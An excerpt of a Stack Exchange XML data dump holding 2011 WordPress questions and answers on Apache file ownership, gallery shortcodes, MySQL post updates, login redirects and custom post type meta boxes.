  <row Id="12267" PostTypeId="2" ParentId="12240" CreationDate="2011-03-17T06:26:03.940" Score="2" ViewCount="" Body="&lt;p&gt;Your webserver runs under a user account, on OS X 10.6 that user is &lt;strong&gt;_www&lt;/strong&gt; and the group is also &lt;strong&gt;_www&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;WordPress needs the owner and/or group of the web server to match the owner and/or group of the files -- which is your user account.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, open your Terminal.  Find your username and group by typing: &lt;code&gt;id&lt;/code&gt;&#xA;You should see output like:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;uid=503(&lt;strong&gt;gabrielk&lt;/strong&gt;) gid=20(&lt;strong&gt;staff&lt;/strong&gt;) groups=20(staff),[a bunch of others]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Note the first two values in parenthesis.  This is your user and group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next editing your Apache config and set it to run as your user &amp;amp; group.  In the Terminal type: &lt;code&gt;sudo nano /Applications/XAMPP/etc/httpd.conf&lt;/code&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(In a default OS X install not running XAMPP, you would type: &lt;code&gt;sudo nano /etc/apache2/httpd.conf&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Find this section (this is from the default httpd.conf in OS X, the one in XAMPP may be slightly different but the config values will be the same):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#&#xA;# If you wish httpd to run as a different user or group, you must run&#xA;# httpd as root initially and it will switch.&#xA;#&#xA;# User/Group: The name (or #number) of the user/group to run httpd as.&#xA;# It is usually good practice to create a dedicated user and group for&#xA;# running httpd, as with most system services.&#xA;#&#xA;User _www&#xA;Group _www&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Change the user and group to match yours.  In my case:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#&#xA;# If you wish httpd to run as a different user or group, you must run&#xA;# httpd as root initially and it will switch.&#xA;#&#xA;# User/Group: The name (or #number) of the user/group to run httpd as.&#xA;# It is usually good practice to create a dedicated user and group for&#xA;# running httpd, as with most system services.&#xA;#&#xA;User gabrielk&#xA;Group staff&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Save, then restart Apache.  In a default OS X install that would be: &lt;code&gt;sudo apachectl restart&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WordPress should not give you any trouble after that.  Note, however, that you may need to repeat these steps next time you update OS X.&lt;/p&gt;&#xA;" OwnerUserId="839" LastActivityDate="2011-03-17T06:26:03.940" CommentCount="3" />
  <row Id="12268" PostTypeId="2" ParentId="12152" CreationDate="2011-03-17T06:34:44.727" Score="-2" ViewCount="" Body="&lt;p&gt;You could also do it without modifying the theme.  In WP Admin: Settings &gt; Reading &gt; Blog pages show at most: &lt;strong&gt;1&lt;/strong&gt; posts&lt;/p&gt;&#xA;" OwnerUserId="839" LastActivityDate="2011-03-17T06:34:44.727" CommentCount="3" />
  <row Id="12269" PostTypeId="1" AcceptedAnswerId="12271" CreationDate="2011-03-17T06:58:25.083" Score="0" ViewCount="33" Body="&lt;p&gt;I'm a relatively new Wordpress user, usually I just code my sites by hand though I'm trying to move to a CMS. I installed Wordpress onto a subforlder (http://www.iss.guild.uwa.edu.au/wordpress/) to test. Every now and again I would get warning messages like below, though starting today I started getting fatal errors. According to my server admin he has PHP 5.2.6 and MySQL 4.1.2 installed. Also it doesn't seem to help on whether I'm using Wordpress 3.1 or Wordpress 2.7 (which had been installed by someone else some time back and seemed to work)&#xA;&lt;img src=&quot;http://i.stack.imgur.com/AnsPr.png&quot; alt=&quot;Fatal error screenshot&quot;&gt;&#xA;&lt;img src=&quot;http://i.stack.imgur.com/BERAt.png&quot; alt=&quot;Warning screenshot&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="4001" LastActivityDate="2011-03-17T07:31:15.197" Title="Need help decrypting error and warning messages" Tags="&lt;fatal-error&gt;&lt;warnings&gt;" AnswerCount="1" />
  <row Id="12270" PostTypeId="1" AcceptedAnswerId="12272" CreationDate="2011-03-17T07:27:21.833" Score="2" ViewCount="50" Body="&lt;p&gt;suppose you are viewing a single image from the gallery. You have both previous and next links there (for navigation).&#xA;but&#xA;is there a way to also show all the other images from the same gallery in the same page (for example i want to show other images from same gallery)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if there is a way then can anyone please provide me the simplest code please.&lt;/p&gt;&#xA;" OwnerUserId="4002" LastActivityDate="2011-06-15T09:43:17.120" Title="show other images from same gallery" Tags="&lt;gallery&gt;" AnswerCount="2" />
  <row Id="12271" PostTypeId="2" ParentId="12269" CreationDate="2011-03-17T07:31:15.197" Score="3" ViewCount="" Body="&lt;p&gt;The &lt;a href=&quot;http://wordpress.org/extend/plugins/health-check/&quot; rel=&quot;nofollow&quot;&gt;Health Check&lt;/a&gt; plugin is triggering the first error. Is this when you're running 2.7? &lt;code&gt;get_transient()&lt;/code&gt; was only introduced in 2.8, which would explain it's absence.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second failure is merely a failed HTTP request. This can happen every now and then (mainly due to timeouts). It shouldn't interrupt the normal functioning of WordPress (the HTTP request was made by &lt;code&gt;wp-cron.php&lt;/code&gt;, which is triggered as a separate request).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The obvious advice is;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Upgrade to 3.1 if you're not running it, &lt;strong&gt;now!&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Update any active plugins&lt;/li&gt;&#xA;&lt;li&gt;Ensure you are using a fairly regularly maintained theme (or if you built it yourself, make sure you're using best practices and have removed calls to any &lt;a href=&quot;http://codex.wordpress.org/WordPress_Deprecated_Functions_Hook&quot; rel=&quot;nofollow&quot;&gt;deprecated functions&lt;/a&gt;).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-03-17T07:31:15.197" CommentCount="3" />
  <row Id="12272" PostTypeId="2" ParentId="12270" CreationDate="2011-03-17T07:33:36.363" Score="2" ViewCount="" Body="&lt;p&gt;At it's very simplest, add this to your theme's &lt;code&gt;attachment.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php do_shortcode('[gallery id=&quot;' . $post-&amp;gt;post_parent . '&quot;]'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-03-17T07:33:36.363" />
  <row Id="12273" PostTypeId="2" ParentId="11009" CreationDate="2011-03-17T08:45:43.107" Score="1" ViewCount="" Body="&lt;p&gt;Hi&#xA;I am a hacker not a programmer and I was able to get this to work quickly, but I think I was lucky.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assumed the &quot;define&quot; commands were what was in my multisite dashboard and I added the $_server code to the top of my wp_insert_post script and it worked.&#xA;I didn't use the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('WP_USE_THEMES', false);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I used the following to select the blog although as it was the default blog maybe that wasn't necessary:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $switched; switch_to_blog(1);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or should I have put the &quot;define&quot; statements into the script?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jack&lt;/p&gt;&#xA;" OwnerUserId="4003" LastActivityDate="2011-03-17T08:45:43.107" />
  <row Id="12274" PostTypeId="1" AcceptedAnswerId="12751" CreationDate="2011-03-17T10:24:48.250" Score="0" ViewCount="293" Body="&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; I want to update one field (post_content) within a known record (id of 4) of a known table (wp_posts) in a new database (new_db).  The update has to come from one field (post_content) within a known record (id of 5) of a known table (wp_posts) in the &lt;em&gt;old&lt;/em&gt; database (old_db).&#xA;Is this possible, or is something like this too atomic (?) for MySQL?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Greetingz!&#xA;When manipulating WordPress's database directly, I've seen &lt;a href=&quot;http://wordpress.stackexchange.com/questions/4918/search-and-replace-text-across-all-posts&quot;&gt;many examples here&lt;/a&gt; where people replace a URL like so;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mysql&amp;gt; UPDATE wp_db.wp_post SET post_content=REPLACE(post_content, 'http://oldsite', 'http://newsite' ) ;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, I have a .sql dump file from my old site, that I wish to import correctly.  (I cannot create an XML export file, it's too late)&#xA;I have created &quot;dummy&quot; posts on my new blog, and have imported the old database.&#xA;Now I'm trying to do something like this;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE new_db.new SET post_content = REPLACE(post_content,(SELECT post_content FROM old_db.wp_posts WHERE id = oldpost#) WHERE id = newpost#;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I realize I'll have to do this for post_date, post_title, and post_content between old_db.wp_posts and new_db.posts, I'm just hoping this is actually possible somehow....&lt;/p&gt;&#xA;" OwnerUserId="4004" LastEditorUserId="4004" LastEditorDisplayName="" LastEditDate="2011-03-22T19:28:08.850" LastActivityDate="2011-03-22T19:28:08.850" Title="MySQL: Possible to replace all of wp_posts.post_content(id#) via UPDATE + REPLACE + SELECT?" Tags="&lt;posts&gt;&lt;mysql&gt;&lt;update&gt;&lt;replace&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="12275" PostTypeId="1" CreationDate="2011-03-17T10:28:36.780" Score="0" ViewCount="63" Body="&lt;p&gt;This functions sorts posts by vote (&lt;a href=&quot;http://wordpress.org/extend/plugins/vote-it-up/&quot; rel=&quot;nofollow&quot;&gt;Vote It Up Plugin&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;function top_voted($number){&#xA;    $a = SortVotes();&#xA;    echo '&amp;lt;div class=&quot;voted&quot;&amp;gt;';&#xA;    $rows = 0;&#xA;    //Now does not include deleted posts&#xA;    $i = 0;&#xA;    while ($rows &amp;lt; $number) {&#xA;        if ($a[0][$i][0] != '') {&#xA;                $postdat = get_post($a[0][$i][0]);&#xA;            if (!empty($postdat)) {&#xA;                $rows++;&#xA;                echo '&amp;lt;div class=&quot;fore&quot;&amp;gt;';&#xA;                echo '&amp;lt;div class=&quot;votecount&quot; style=&quot;width: 1em; color: #555555; font-weight: bold;&quot;&amp;gt;'.$a[1][$i][0].' &amp;lt;/div&amp;gt;&amp;lt;div&amp;gt;&amp;lt;a href=&quot;'.$postdat-&amp;gt;guid.'&quot; title=&quot;'.$postdat-&amp;gt;post_title.'&quot;&amp;gt;'.$postdat-&amp;gt;post_title.'&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;';&#xA;                echo '&amp;lt;div class=&quot;votecount&quot; style=&quot;width: 1em; color: #555555; font-weight: bold;&quot;&amp;gt;'.$a[1][$i][0].' &amp;lt;/div&amp;gt;&amp;lt;div&amp;gt;'.$postdat-&amp;gt;post_content.'&amp;lt;/div&amp;gt;';&#xA;                echo '&amp;lt;/div&amp;gt;';&#xA;            }&#xA;        }&#xA;        if ($i &amp;lt; count($a[0])) {&#xA;            $i++;&#xA;        } else {&#xA;            break; //exit the loop&#xA;        }&#xA;    }&#xA;    echo '&amp;lt;/div&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is that I can't use &lt;code&gt;get_post&lt;/code&gt; to the get the author in a bbPress plugin loop which uses: &lt;code&gt;bbp_get_topic_author_link()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php&#xA;&#xA;    /**&#xA;     * Topics Loop&#xA;     *&#xA;     * @package bbPress&#xA;     * @subpackage Theme&#xA;     */&#xA;&#xA;    ?&amp;gt;&#xA;&#xA;    &amp;lt;?php if ( bbp_get_query_name() || bbp_has_topics() ) : ?&amp;gt;&#xA;&#xA;            &amp;lt;div class=&quot;mainbar&quot;&amp;gt;&#xA;&#xA;                &amp;lt;?php while ( bbp_topics() ) : bbp_the_topic(); ?&amp;gt;&#xA;&#xA;                    &amp;lt;div class=&quot;topic&quot;&amp;gt;&#xA;                        &amp;lt;div class=&quot;topic-left&quot;&amp;gt;&#xA;                            &amp;lt;h3&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php bbp_topic_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php bbp_topic_title(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php bbp_topic_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;                            &amp;lt;p&amp;gt;&#xA;                                &amp;lt;?php printf( __( 'Started by: %1$s', 'bbpress' ), bbp_get_topic_author_link( array( 'size' =&amp;gt; '14' ) ) ); ?&amp;gt;&#xA;&#xA;                                &amp;lt;?php if ( !bbp_is_forum() || ( bbp_get_topic_forum_id() != bbp_get_forum_id() ) ) printf( __( 'in: &amp;lt;a href=&quot;%1$s&quot;&amp;gt;%2$s&amp;lt;/a&amp;gt;', 'bbpress' ), bbp_get_forum_permalink( bbp_get_topic_forum_id() ), bbp_get_forum_title( bbp_get_topic_forum_id() ) ); ?&amp;gt;&#xA;                            &amp;lt;/p&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;&#xA;                        &amp;lt;div class=&quot;topic-right&quot;&amp;gt;&#xA;                            &amp;lt;div class=&quot;topic-reply-count&quot;&amp;gt;&#xA;                                &amp;lt;h4&amp;gt;&amp;lt;?php bbp_topic_reply_count(); ?&amp;gt;&amp;lt;/h4&amp;gt;&#xA;                                &amp;lt;span&amp;gt;&amp;lt;?php _e( 'replies' ); ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;div class=&quot;topic-like-count&quot;&amp;gt;&#xA;                                &amp;lt;h4&amp;gt;&amp;lt;?php DisplayVotes(get_the_ID()); ?&amp;gt;&amp;lt;/h4&amp;gt;&#xA;                                &amp;lt;span&amp;gt;&amp;lt;?php _e( 'votes' ); ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;div class=&quot;topic-freshness&quot;&amp;gt;&#xA;                                &amp;lt;h4&amp;gt;&amp;lt;?php bbp_topic_freshness_link(); ?&amp;gt;&amp;lt;/h4&amp;gt;&#xA;                                &amp;lt;p class=&quot;bbp-topic-meta&quot;&amp;gt;&#xA;                                    &amp;lt;?php bbp_author_link( array( 'post_id' =&amp;gt; bbp_get_topic_last_active_id(), 'size' =&amp;gt; 14 ) ); ?&amp;gt;&#xA;                                &amp;lt;/p&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&amp;lt;!-- #topic --&amp;gt;&#xA;&#xA;                &amp;lt;?php endwhile; ?&amp;gt;&#xA;&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!-- #mainbar --&amp;gt;&#xA;&#xA;        &amp;lt;?php get_template_part( 'pagination', 'bbp_topics' ); ?&amp;gt;&#xA;&#xA;Is it possible to take this function:&#xA;&#xA;&#xA;    &amp;lt;?php else : ?&amp;gt;&#xA;&#xA;        &amp;lt;div id=&quot;topic-0&quot; class=&quot;post&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;entry-content&quot;&amp;gt;&#xA;                &amp;lt;p&amp;gt;&amp;lt;?php _e( 'Oh bother! No topics were found here! Perhaps searching will help.', 'bbpress' ); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;                &amp;lt;?php get_search_form(); ?&amp;gt;&#xA;&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!-- .entry-content --&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- #post-0 --&amp;gt;&#xA;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any suggestion to deal with this?&lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-03-17T10:28:36.780" Title="Sorting bbPress plugin topics in a bbPress loop by vote (Vote it Up Plugin)" Tags="&lt;plugins&gt;&lt;bbpress&gt;" />
  <row Id="12276" PostTypeId="2" ParentId="12262" CreationDate="2011-03-17T10:53:44.493" Score="1" ViewCount="" Body="&lt;p&gt;There is no option to change the number of posts per page, archive, tag or category from the admin but you can use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts&quot; rel=&quot;nofollow&quot;&gt;query_posts()&lt;/a&gt; &lt;code&gt;posts_per_page&lt;/code&gt; to set the number.&#xA;for example in your theme's index.php file or if you are using a static page as your home_page the page.php file add this snippet of code above the loop&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(is_home() || is_front_page()){&#xA;    global $query_string;&#xA;    parse_str( $query_string, $args );&#xA;    $args['posts_per_page'] = 2;&#xA;    query_posts($args);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;what it does is check to see if you are on the home page or front page and if you are then it changes the number of posts to show.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;another example is to show different number of posts for different categories:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $query_string;&#xA;parse_str( $query_string, $args );&#xA;if(is_category('cats')){&#xA;    $args['posts_per_page'] = 7;&#xA;    query_posts($args);&#xA;}elseif(is_category('dogs')){&#xA;    $args['posts_per_page'] = 4;&#xA;    query_posts($args); &#xA;}else{&#xA;    $args['posts_per_page'] = 10;&#xA;    query_posts($args);     &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;here we use the conditional tag &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/is_category&quot; rel=&quot;nofollow&quot;&gt;is_category()&lt;/a&gt; to check which category we are in based on that we set the number of posts to display. &#xA;For cats we set 7, for dogs we set 4 and if its just random category we display 10.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-17T10:53:44.493" />
  <row Id="12277" PostTypeId="2" ParentId="12264" CreationDate="2011-03-17T10:59:04.190" Score="1" ViewCount="" Body="&lt;p&gt;use &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;add_action('publish_post', 'rhb_check_current_user');&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and in your rhb_check_current_user function check using the global $post:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function rhb_check_current_user(){&#xA;    global $post;&#xA;    $author_id = $post-&amp;gt;post_author;&#xA;    ...&#xA;    ...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-17T10:59:04.190" />
  <row Id="12278" PostTypeId="2" ParentId="12274" CreationDate="2011-03-17T11:12:37.957" Score="0" ViewCount="" Body="&lt;p&gt;It is possible what you want in an easy way. Have a look at &lt;a href=&quot;http://spectacu.la/search-and-replace-for-wordpress-databases/&quot; rel=&quot;nofollow&quot;&gt;http://spectacu.la/search-and-replace-for-wordpress-databases/&lt;/a&gt;; that will do all replaces automatically while also keeping length specifications of serialized data correct.&#xA;Cheers,&#xA;Peter&lt;/p&gt;&#xA;" OwnerUserId="653" LastActivityDate="2011-03-17T11:12:37.957" CommentCount="1" />
  <row Id="12279" PostTypeId="1" CreationDate="2011-03-17T11:13:03.233" Score="-1" ViewCount="29" Body="&lt;p&gt;I want to use all meta box that are displaying  in Posts in Custom post also. As now My seo platinum and face book , twitter boxes are displaying in post section but not in my custom post.&lt;/p&gt;&#xA;" OwnerUserId="4006" LastActivityDate="2011-03-17T11:47:36.190" Title="I want to use all meta box that are displaying in Posts in Custom post also" Tags="&lt;custom-post-types&gt;&lt;customization&gt;" AnswerCount="1" />
  <row Id="12280" PostTypeId="2" ParentId="12206" CreationDate="2011-03-17T11:17:38.270" Score="0" ViewCount="" Body="&lt;p&gt;The &lt;code&gt;add_meta_box&lt;/code&gt; code you've posted does certainly register the metabox to the bottom of the side area. If the box is shown in the center then i imagine it's because you've(at some point) moved the metabox, as can be done with any of the metaboxes(all drag and drop). WordPress remembers where you move boxes to, and only adheres to the positioning inside the &lt;code&gt;add_meta_box&lt;/code&gt; as a default view(when they've not yet been moved).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution would be to drag and drop the box back to the side area, assuming this is just a case of re-positioning the metabox.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-03-17T11:17:38.270" />
  <row Id="12281" PostTypeId="1" AcceptedAnswerId="12283" CreationDate="2011-03-17T11:17:49.187" Score="0" ViewCount="192" Body="&lt;p&gt;I'm using the following to let the user login:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;       &amp;lt;form name='loginform' id='loginform' action='&amp;lt;?php echo get_settings('siteurl')?&amp;gt;/wp-login.php' method='post'&amp;gt;&#xA;                &amp;lt;label&amp;gt;User:&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;                &amp;lt;input type='text' name='log' id='user_login' class='input' tabindex='20' /&amp;gt;&amp;lt;input type='submit' name='wp-submit' id='wp-submit' value='Login' tabindex='23' /&amp;gt;&amp;lt;br /&amp;gt;&#xA;                &amp;lt;label&amp;gt;Pass:&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;                &amp;lt;input type='password' name='pwd' id='user_pass' class='input' tabindex='21' /&amp;gt;&#xA;                &amp;lt;span id=&quot;forgotText&quot;&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php echo get_settings('siteurl')?&amp;gt;/wp-login.php?action=lostpassword&quot;&amp;gt;&amp;lt;?php _e('Forgot')?&amp;gt;?&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&#xA;                &amp;lt;?php //echo &quot;&amp;lt;input name='rememberme' type='hidden' id='rememberme' value='forever' /&amp;gt;&quot;;?&amp;gt;&#xA;                &amp;lt;?php echo wp_register('',''); ?&amp;gt;&#xA;                &amp;lt;input type='hidden' name='redirect_to' value='&amp;lt;?php echo htmlspecialchars($_SERVER['REQUEST_URI'])?&amp;gt;' /&amp;gt;&#xA;            &amp;lt;/form&amp;gt;&#xA;            &amp;lt;?php&#xA;            global $opt_jfb_hide_button;&#xA;            if( !get_option($opt_jfb_hide_button) )&#xA;            {&#xA;                jfb_output_facebook_btn();&#xA;                //jfb_output_facebook_init(); This is output in wp_footer as of 1.5.4&#xA;                jfb_output_facebook_callback();&#xA;            }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it stays in the same page, how can I redirect the user to the home page?&lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-03-17T21:30:46.200" Title="Redirecting after login?" Tags="&lt;login&gt;&lt;form&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="12282" PostTypeId="2" ParentId="12261" CreationDate="2011-03-17T11:20:11.320" Score="1" ViewCount="" Body="&lt;p&gt;Not sure if this is the right place... but line 496&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$nopages = &quot;AND $wpdb-&amp;gt;posts.post_type = 'post'&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;seems to be the only place I see any post selection limited to just post&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I've messed around with other plugins, to add in CPTs, I'v elooked for similar selection criteria.  And added in my own CPTs.  So the first place I would mess around is here.  I'm not a coder, so I'm not sure exactly how to add in the CPT here....&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$nopages = &quot;AND $wpdb-&amp;gt;posts.post_type = 'post', 'cpt', 'another'&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or if it has to be in an array&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$nopages = &quot;AND $wpdb-&amp;gt;posts.post_type = array( 'post', 'cpt', 'another' )&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;, or what..... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure you know to have a backup available, and that if you get the syntax wrong, you could kill the plugin, or your site.  But as long as you can ftp in, no harm no foul really.  I know I've killed my sites a few times doing stuff like this.  Its why I have a dev install of WP that is pretty much a copy of my live site.... so I can poke it with a stick to see what happens&lt;/p&gt;&#xA;" OwnerUserId="3429" LastEditorUserId="3429" LastEditorDisplayName="" LastEditDate="2011-03-17T19:09:02.563" LastActivityDate="2011-03-17T19:09:02.563" CommentCount="6" />
  <row Id="12283" PostTypeId="2" ParentId="12281" CreationDate="2011-03-17T11:27:46.167" Score="3" ViewCount="" Body="&lt;p&gt;I'm going to venture a guess here, and maybe someone more versed can back me up or set me straight  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo htmlspecialchars($_SERVER['REQUEST_URI'])?&amp;gt;'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is the redirect value....  It is redirecting to the original url, wherever the user came from  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you swap that out for your home url with something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo home_url( '/' ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would think that would do it &lt;/p&gt;&#xA;" OwnerUserId="3429" LastActivityDate="2011-03-17T11:27:46.167" CommentCount="3" />
  <row Id="12284" PostTypeId="2" ParentId="12279" CreationDate="2011-03-17T11:47:36.190" Score="0" ViewCount="" Body="&lt;p&gt;For seo platinum pack, it supports custom post type and registers them for each one there is at the admin_menu hook, so just make sure that you register your post type before that, 'init' hook will do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't say about FaceBook and Twitter because i don't know what plugins are you using for them but in general open up the plugins file and look for &quot;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_meta_box&quot; rel=&quot;nofollow&quot;&gt;add_meta_box&lt;/a&gt;&quot; copy that line and change the &lt;strong&gt;page&lt;/strong&gt; parameter to your post type name and leave the rest as it is. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;for example , say your custom post type is &quot;reviews&quot; then in &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_meta_box( $id, $title, $callback, $page, $context, $priority, $callback_args );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;change $page to 'reviews'&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_meta_box( $id, $title, $callback, 'reviews', $context, $priority, $callback_args );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-17T11:47:36.190" />
  <row Id="12286" PostTypeId="1" AcceptedAnswerId="12290" CreationDate="2011-03-17T12:09:57.610" Score="0" ViewCount="155" Body="&lt;p&gt;I know the ultimate seo plugin for seo optimizing seo. But with more that 250 post, and no seo plugin installed, i like to know if there is a plugin that will&#xA;1) make the title of the page, the title of the post&#xA;2) make the description based on the first paragraph&#xA;3) make the keyword meta by parsing the whole post, retreive all the reveland word that are more that 3% occurence, and fill the meta with them&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any idea ?&lt;/p&gt;&#xA;" OwnerUserId="3969" LastActivityDate="2011-03-17T15:12:40.770" Title="Automatic SEO for wordpress" Tags="&lt;seo&gt;" AnswerCount="4" FavoriteCount="1" />
  <row Id="12287" PostTypeId="2" ParentId="12049" CreationDate="2011-03-17T12:18:48.177" Score="1" ViewCount="" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Changing from the default permalinks (?p=1) to another structure is always safe. WordPress always recognizes the default permalinks and will redirect to the canonical links.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If it's not doing that, then likely the .htaccess is broken or not being read. Make sure that the rules are in the .htaccess file, and/or contact your host.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Some cases this can be weird when you first create the .htaccess file. For example, on GoDaddy hosting, the first time you create an .htaccess, the servers don't actually use it for a couple hours. So when you enable pretty permalinks for the first time, the whole site seems to break. A couple hours later, it fixes itself. This is because of the way their hosting system works, it has to recognize the existence of .htaccess files and enable them on a per-site basis. Changes take effect instantly, it's only that initial setup that takes time. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your host may have something similar, so even if the .htaccess is there, it may not have taken effect yet. Talk to the host about it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you cannot modify the .htaccess at all, then Pretty Permalinks simply &lt;em&gt;will not work&lt;/em&gt;. Switch to a sane host.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-03-17T12:18:48.177" />
